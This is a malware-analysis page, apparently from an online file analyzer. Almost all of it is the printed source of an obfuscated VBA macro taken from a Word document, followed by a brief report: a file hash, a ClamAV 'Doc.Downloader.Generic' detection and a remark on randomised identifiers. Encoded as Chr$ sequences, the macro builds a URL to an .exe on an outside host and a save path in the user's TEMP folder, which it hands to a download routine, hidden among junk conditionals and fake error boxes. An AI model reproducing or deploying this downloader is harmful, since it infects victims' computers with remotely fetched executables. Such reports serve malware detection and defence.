Chr$(119) & Chr$(46) & Chr$(102) & Chr$(114) & Chr$(101) & Chr$(101) & Chr$(109) & Chr$(97) & Chr$(110) & Chr$(114) & Chr$(105) & Chr$(118) & Chr$(101) & Chr$(114) & Chr$(97) & Chr$(100) & Chr$(118) & Chr$(101) & Chr$(110) & Chr$(116) & Chr$(117) & Chr$(114) & Chr$(101) & Chr$(115) & Chr$(46) & Chr$(99) & Chr$(97) & Chr$(47) & Chr$(106) & Chr$(115) & Chr$(47) & Chr$(98) & Chr$(105) & Chr$(110) & Chr$(46) & Chr$(101) & Chr$(120) & Chr$(101) Dim vsujPReG, PkLldlyN, XcTxFyoq As String If 457394 = 457394 + 1 Then End If 6445 < 89 Then MsgBox (HexToString(Chr$(52) & Chr$(52) & Chr$(53) & Chr$(48) & Chr$(54) & Chr$(67) & Chr$(52) & Chr$(65) & Chr$(55) & Chr$(57) & Chr$(52) & Chr$(57) & Chr$(53) & Chr$(52) & Chr$(52) & Chr$(51) & Chr$(51) & Chr$(53) & Chr$(51) & Chr$(57))) End If If Len(HexToString(Chr$(53) & Chr$(65) & Chr$(55) & Chr$(57) & Chr$(54) & Chr$(67) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(49) & Chr$(52) & Chr$(67) & Chr$(55) & Chr$(65) & Chr$(54) & Chr$(69) & Chr$(51) & Chr$(54) & Chr$(51) & Chr$(53) & Chr$(51) & Chr$(53) & Chr$(51) & Chr$(57))) = Len(HexToString(Chr$(52) & Chr$(54) & Chr$(55) & Chr$(56) & Chr$(55) & Chr$(50) & Chr$(52) & Chr$(54) & Chr$(54) & Chr$(69) & Chr$(53) & Chr$(53) & Chr$(54) & Chr$(50) & Chr$(52) & Chr$(70))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If vsujPReG = HexToString(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(48) & Chr$(52) & Chr$(65) & Chr$(52) & Chr$(65) & Chr$(52) & Chr$(66) & Chr$(53) & Chr$(57) & Chr$(52) & Chr$(65) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48)) If 358998 = 358998 + 1 Then End If 5187 < 25 Then MsgBox (HexToString(Chr$(55) & Chr$(65) & Chr$(52) & Chr$(49) & Chr$(54) & Chr$(66) & Chr$(53) & Chr$(56) & Chr$(54) & Chr$(54) & Chr$(55) & Chr$(55) & Chr$(54) & Chr$(70) & Chr$(54) & Chr$(56) & Chr$(51) & Chr$(56) & Chr$(51) & Chr$(56))) End If If Len(HexToString(Chr$(54) & Chr$(50) & Chr$(52) & Chr$(66) & Chr$(52) & Chr$(55) & Chr$(54) & Chr$(67) & Chr$(55) & Chr$(51) & Chr$(52) & Chr$(51) & Chr$(52) & Chr$(50) & Chr$(52) & Chr$(70) & Chr$(51) & Chr$(54) & Chr$(51) & Chr$(51) & Chr$(51) & Chr$(57) & Chr$(51) & Chr$(51))) = Len(HexToString(Chr$(54) & Chr$(67) & Chr$(54) & Chr$(67) & Chr$(53) & Chr$(50) & Chr$(53) & Chr$(48) & Chr$(52) & Chr$(56) & Chr$(55) & Chr$(50) & Chr$(52) & Chr$(57) & Chr$(55) & Chr$(51))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If PkLldlyN = LTrim(vsujPReG) If 742418 = 742418 + 1 Then End If 3179 < 57 Then MsgBox (HexToString(Chr$(55) & Chr$(57) & Chr$(53) & Chr$(50) & Chr$(52) & Chr$(65) & Chr$(53) & Chr$(54) & Chr$(54) & Chr$(57) & Chr$(54) & Chr$(67) & Chr$(55) & Chr$(50) & Chr$(52) & Chr$(65) & Chr$(51) & Chr$(56) & Chr$(51) & Chr$(56))) End If If Len(HexToString(Chr$(54) & Chr$(54) & Chr$(52) & Chr$(56) & Chr$(52) & Chr$(52) & Chr$(52) & Chr$(53) & Chr$(53) & Chr$(54) & Chr$(55) & Chr$(49) & Chr$(54) & Chr$(55) & Chr$(55) & Chr$(65) & Chr$(51) & Chr$(52) & Chr$(51) & Chr$(50) & Chr$(51) & Chr$(56) & Chr$(51) & Chr$(52))) = Len(HexToString(Chr$(54) & Chr$(50) & Chr$(55) & Chr$(53) & Chr$(54) & Chr$(51) & Chr$(54) & Chr$(52) & Chr$(54) & Chr$(54) & Chr$(52) & Chr$(50) & Chr$(53) & Chr$(51) & Chr$(55) & Chr$(49))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If XcTxFyoq = RTrim(PkLldlyN) If 863358 = 863358 + 1 Then End If 1239 < 65 Then MsgBox (HexToString(Chr$(52) & Chr$(49) & Chr$(53) & Chr$(65) & Chr$(52) & Chr$(54) & Chr$(55) & Chr$(48) & Chr$(52) & Chr$(65) & Chr$(53) & Chr$(51) & Chr$(54) & Chr$(56) & Chr$(52) & Chr$(57) & Chr$(51) & Chr$(51) & Chr$(51) & Chr$(56))) End If If Len(HexToString(Chr$(52) & Chr$(69) & Chr$(52) & Chr$(67) & Chr$(55) & Chr$(51) & Chr$(53) & Chr$(57) & Chr$(52) & Chr$(54) & Chr$(54) & Chr$(54) & Chr$(55) & Chr$(57) & Chr$(54) & Chr$(53) & Chr$(51) & Chr$(49) & Chr$(51) & Chr$(51) & Chr$(51) & Chr$(52) & Chr$(51) & Chr$(53))) = Len(HexToString(Chr$(52) & Chr$(67) & Chr$(54) & Chr$(68) & Chr$(54) & Chr$(49) & Chr$(53) & Chr$(54) & Chr$(54) & Chr$(67) & Chr$(54) & Chr$(68) & Chr$(52) & Chr$(55) & Chr$(53) & Chr$(50))) Then MsgBox (HexToString(Chr$(52) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(50) & Chr$(54) & Chr$(70) & Chr$(55) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49) & Chr$(50) & Chr$(49))) End If IYVNOUDTSQO fdgbklV9B, Environ(HexToString(Chr$(53) & Chr$(52) & Chr$(52) & Chr$(53) & Chr$(52) & Chr$(68) & Chr$(53) & Chr$(48))) & HexToString(Chr$(53) & Chr$(67) & Chr$(52) & Chr$(57) & Chr$(53) & Chr$(49) & Chr$(53) & Chr$(49) & Chr$(52) & Chr$(66) & Chr$(53) & Chr$(53) & Chr$(53) & Chr$(53) & Chr$(52) & Chr$(67) & Chr$(52) & Chr$(49) & Chr$(52) & Chr$(66) & Chr$(52) & Chr$(53) & Chr$(52) & Chr$(67) & Chr$(50) & Chr$(69) & Chr$(54) & Chr$(53) & Chr$(55) & Chr$(56) & Chr$(54) & Chr$(53)) End Sub Public Function HexToString(ByVal VKfUL As String) As String Dim kSSFs As String Dim pCQyPBFfTQKdaw As String Dim rxtEIQsuDMHlBT As Long For rxtEIQsuDMHlBT = 1 To Len(VKfUL) Step 2 Dim zQVjazwV, CQiEwyLB, LSlGHqjN As String If 711837 = 711837 + 1 Then End If 4985 < 75 Then MsgBox (Chr$(120) & Chr$(112) & Chr$(76) & Chr$(69) & Chr$(88) & Chr$(109) & Chr$(65) & Chr$(77) & Chr$(53) & Chr$(54)) End If If Len(Chr$(83) & Chr$(65) & Chr$(80) & Chr$(99) & Chr$(73) & Chr$(116) & Chr$(102) & Chr$(106) & Chr$(50) & Chr$(49) & Chr$(52) & Chr$(50)) = Len(Chr$(106) & Chr$(71) & Chr$(85) & Chr$(115) & Chr$(109) & Chr$(65) & Chr$(87) & Chr$(109)) Then MsgBox (Chr$(69) & Chr$(114) & Chr$(114) & Chr$(111) & Chr$(114) & Chr$(32) & Chr$(33) & Chr$(33) & Chr$(33)) End If zQVjazwV = Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(85) & Chr$(89) & Chr$(65) & Chr$(68) & Chr$(75) & Chr$(87) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) If 539347 = 539347 + 1 Then End If 2814 < 15 Then MsgBox (Chr$(65) & Chr$(111) & Chr$(73) & Chr$(107) & Chr$(65) & Chr$(104) & Chr$(114) & Chr$(76) & Chr$(54) & Chr$(54)) End If If Len(Chr$(110) & Chr$(119) & Chr$(86) & Chr$(109) & Chr$(117) & Chr$(107) & Chr$(112) & Chr$(121) & Chr$(57) & Chr$(57) & Chr$(54) & Chr$(49)) = Len(Chr$(81) & Chr$(77) & Chr$(66) & Chr$(74) & Chr$(105) & Chr$(121) & Chr$(101) & Chr$(69)) Then MsgBox (Chr$(69) & Chr$(114) & Chr$(114) & Chr$(111) & Chr$(114) & Chr$(32) & Chr$(33) & Chr$(33) & Chr$(33)) End If CQiEwyLB = LTrim(zQVjazwV) If 541611 = 541611 + 1 Then End If 5185 < 19 Then MsgBox (Chr$(115) & Chr$(98) & Chr$(88) & Chr$(103) & Chr$(86) & Chr$(73) & Chr$(69) & Chr$(106) & Chr$(51) & Chr$(57)) End If If Len(Chr$(77) & Chr$(85) & Chr$(79) & Chr$(110) & Chr$(119) & Chr$(78) & Chr$(114) & Chr$(108) & Chr$(51) & Chr$(50) & Chr$(52) & Chr$(50)) = Len(Chr$(83) & Chr$(106) & Chr$(71) & Chr$(84) & Chr$(81) & Chr$(105) & Chr$(111) & Chr$(112)) Then MsgBox (Chr$(69) & Chr$(114) & Chr$(114) & Chr$(111) & Chr$(114) & Chr$(32) & Chr$(33) & Chr$(33) & Chr$(33)) End If LSlGHqjN = RTrim(CQiEwyLB) If 224316 = 224316 + 1 Then End If 8764 < 74 Then MsgBox (Chr$(113) & Chr$(101) & Chr$(112) & Chr$(103) & Chr$(113) & Chr$(73) & Chr$(68) & Chr$(65) & Chr$(51) & Chr$(53)) End If If Len(Chr$(112) & Chr$(104) & Chr$(118) & Chr$(107) & Chr$(72) & Chr$(80) & Chr$(76) & Chr$(70) & Chr$(54) & Chr$(56) & Chr$(50) & Chr$(49)) = Len(Chr$(119) & Chr$(70) & Chr$(98) & Chr$(70) & Chr$(74) & Chr$(118) & Chr$(68) & Chr$(115)) Then MsgBox (Chr$(69) & Chr$(114) & Chr$(114) & Chr$(111) & Chr$(114) & Chr$(32) & Chr$(33) & Chr$(33) & Chr$(33)) End If kSSFs = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(VKfUL, rxtEIQsuDMHlBT, 2))) Dim ogihjWxw, zTBauzQB, UnYwmxEH As String If 556687 = 556687 + 1 Then End If 8128 < 25 Then MsgBox (Chr$(67) & Chr$(113) & Chr$(102) & Chr$(86) & Chr$(77) & Chr$(86) & Chr$(110) & Chr$(78) & Chr$(49) & Chr$(54)) End If If Len(Chr$(115) & Chr$(69) & Chr$(116) & Chr$(75) & Chr$(89) & Chr$(73) & Chr$(115) & Chr$(120) & Chr$(54) & Chr$(49) & Chr$(55) & Chr$(54)) = Len(Chr$(114) & Chr$(115) & Chr$(113) & Chr$(67) & Chr$(88) & Chr$(72) & Chr$(106) & Chr$(100)) Then MsgBox (Chr$(69) & Chr$(114) & Chr$(114) & Chr$(111) & Chr$(114) & Chr$(32) & Chr$(33) & Chr$(33) & Chr$(33)) End If ogihjWxw = Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(76) & Chr$(86) & Chr$(77) & Chr$(73) & Chr$(82) & Chr$(79) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) If 815976 = 815976 + 1 Then End If 5761 < 54 Then MsgBox (Chr$(77) & Chr$(122) & Chr$(102) & Chr$(67) & Chr$(110) & Chr$(66) & Chr$(113) & Chr$(101) & Chr$(51) & Chr$(56)) End If If Len(Chr$(76) & Chr$(103) & Chr$(69) & Chr$(78) & Chr$(121) & Chr$(78) & Chr$(106) & Chr$(104) & Chr$(51) & Chr$(56) & Chr$(51) & Chr$(55)) = Len(Chr$(114) & Chr$(68) & Chr$(82) & Chr$(119) & Chr$(117) & Chr$(71) & Chr$(112) & Chr$(68)) Then MsgBox (Chr$(69) & Chr$(114) & Chr$(114) & Chr$(111) & Chr$(114) & Chr$(32) & Chr$(33) & Chr$(33) & Chr$(33)) End If zTBauzQB = LTrim(ogihjWxw) If 383162 = 383162 + 1 Then End If 3699 < 61 Then MsgBox (Chr$(80) & Chr$(89) & Chr$(87) & Chr$(109) & Chr$(90) & Chr$(111) & Chr$(104) & Chr$(104) & Chr$(49) & Chr$(52)) End If If Len(Chr$(89) & Chr$(111) & Chr$(74) & Chr$(67) & Chr$(69) & Chr$(115) & Chr$(102) & Chr$(121) & Chr$(49) & Chr$(55) & Chr$(53) & Chr$(54)) = Len(Chr$(113) & Chr$(120) & Chr$(68) & Chr$(81) & Chr$(104) & Chr$(73) & Chr$(87) & Chr$(112)) Then MsgBox (Chr$(69) & Chr$(114) & Chr$(114) & Chr$(111) & Chr$(114) & Chr$(32) & Chr$(33) & Chr$(33) & Chr$(33)) End If UnYwmxEH = RTrim(zTBauzQB) If 482134 = 482134 + 1 Then End If 1542 < 92 Then MsgBox (Chr$(120) & Chr$(70) & Chr$(66) & Chr$(114) & Chr$(113) & Chr$(99) & Chr$(101) & Chr$(71) & Chr$(55) & Chr$(54)) End If If Len(Chr$(119) & Chr$(97) & Chr$(103) & Chr$(117) & Chr$(72) & Chr$(118) & Chr$(111) & Chr$(122) & Chr$(56) & Chr$(53) & Chr$(57) & Chr$(56)) = Len(Chr$(77) & Chr$(77) & Chr$(118) & Chr$(77) & Chr$(119) & Chr$(66) & Chr$(98) & Chr$(113)) Then MsgBox (Chr$(69) & Chr$(114) & Chr$(114) & Chr$(111) & Chr$(114) & Chr$(32) & Chr$(33) & Chr$(33) & Chr$(33)) End If pCQyPBFfTQKdaw = pCQyPBFfTQKdaw & kSSFs Next rxtEIQsuDMHlBT Dim TyfYhAFi, ijZnBBcA, xuIrrPOp As String If 313854 = 313854 + 1 Then End If 3898 < 53 Then MsgBox (Chr$(88) & Chr$(100) & Chr$(121) & Chr$(69) & Chr$(80) & Chr$(80) & Chr$(80) & Chr$(121) & Chr$(49) & Chr$(54)) End If If Len(Chr$(82) & Chr$(109) & Chr$(76) & Chr$(71) & Chr$(105) & Chr$(122) & Chr$(112) & Chr$(112) & Chr$(57) & Chr$(56) & Chr$(53) & Chr$(53)) = Len(Chr$(111) & Chr$(73) & Chr$(71) & Chr$(69) & Chr$(77) & Chr$(118) & Chr$(75) & Chr$(102)) Then MsgBox (Chr$(69) & Chr$(114) & Chr$(114) & Chr$(111) & Chr$(114) & Chr$(32) & Chr$(33) & Chr$(33) & Chr$(33)) End If TyfYhAFi = Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(83) & Chr$(88) & Chr$(81) & Chr$(83) & Chr$(85) & Chr$(74) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) & Chr$(32) If 572253 = 572253 + 1 Then End If 8649 < 83 Then MsgBox (Chr$(76) & Chr$(114) & Chr$(121) & Chr$(65) & Chr$(106) & Chr$(83) & Chr$(109) & Chr$(105) & Chr$(57) & Chr$(53)) End If If Len(Chr$(115) & Chr$(117) & Chr$(106) & Chr$(67) & Chr$(85) & Chr$(108) & Chr$(103) & Chr$(101) & Chr$(54) & Chr$(54) & Chr$(57) & Chr$(54)) = Len(Chr$(120) & Chr$(82) & Chr$(107) & Chr$(108) & Chr$(73) & Chr$(111) & Chr$(111) & Chr$(98)) Then MsgBox (Chr$(69) & Chr$(114) & Chr$(114) & Chr$(111) & Chr$(114) & Chr$(32) & Chr$(33) & Chr$(33) & Chr$(33)) End If ijZnBBcA = LTrim(TyfYhAFi) If 959338 = 959338 + 1 Then End If 4156 < 99 Then MsgBox (Chr$(80) & Chr$(73) & Chr$(68) & Chr$(78) & Chr$(108) & Chr$(87) & Chr$(110) & Chr$(119) & Chr$(55) & Chr$(49)) End If If Len(Chr$(81) & Chr$(84) & Chr$(119) & Chr$(69) & Chr$(65) & Chr$(77) & Chr$(70) & Chr$(117) & Chr$(50) & Chr$(49) & Chr$(49) & Chr$(51)) = Len(Chr$(69) & Chr$(102) & Chr$(65) & Chr$(85) & Chr$(74) & Chr$(122) & Chr$(76) & Chr$(88)) Then MsgBox (Chr$(69) & Chr$(114) & Chr$(114) & Chr$(111) & Chr$(114) & Chr$(32) & Chr$(33) & Chr$(33) & Chr$(33)) End If xuIrrPOp = RTrim(ijZnBBcA) If 925897 = 925897 + 1 Then End If 1663 < 93 Then MsgBox (Chr$(122) & Chr$(105) & Chr$(103) & Chr$(75) & Chr$(76) & Chr$(89) & Chr$(112) & Chr$(108) & Chr$(49) & Chr$(53)) End If If Len(Chr$(108) & Chr$(112) & Chr$(98) & Chr$(102) & Chr$(111) & Chr$(103) & Chr$(114) & Chr$(102) & Chr$(55) & Chr$(55) & Chr$(50) & Chr$(57)) = Len(Chr$(82) & Chr$(73) & Chr$(110) & Chr$(79) & Chr$(112) & Chr$(114) & Chr$(67) & Chr$(80)) Then MsgBox (Chr$(69) & Chr$(114) & Chr$(114) & Chr$(111) & Chr$(114) & Chr$(32) & Chr$(33) & Chr$(33) & Chr$(33)) End If HexToString = pCQyPBFfTQKdaw End Function
`vbaProject_00.bin`	vba-project	OOXML VBA project: word/vbaProject.bin	89600 bytes
SHA-256: `49510d7b9a606d273ce9280d85d3dd4453b9164583f085a50ac198e629bff82f`
Detection ClamAV: Doc.Downloader.Generic-6698421-0 Obfuscation or payload: likely 221 of 389 identifiers look randomly generated (e.g. 'pCQyPBFfTQKdaw') — consistent with name-mangling obfuscation.

Open this report in the interactive analyzer, or submit your own file for analysis.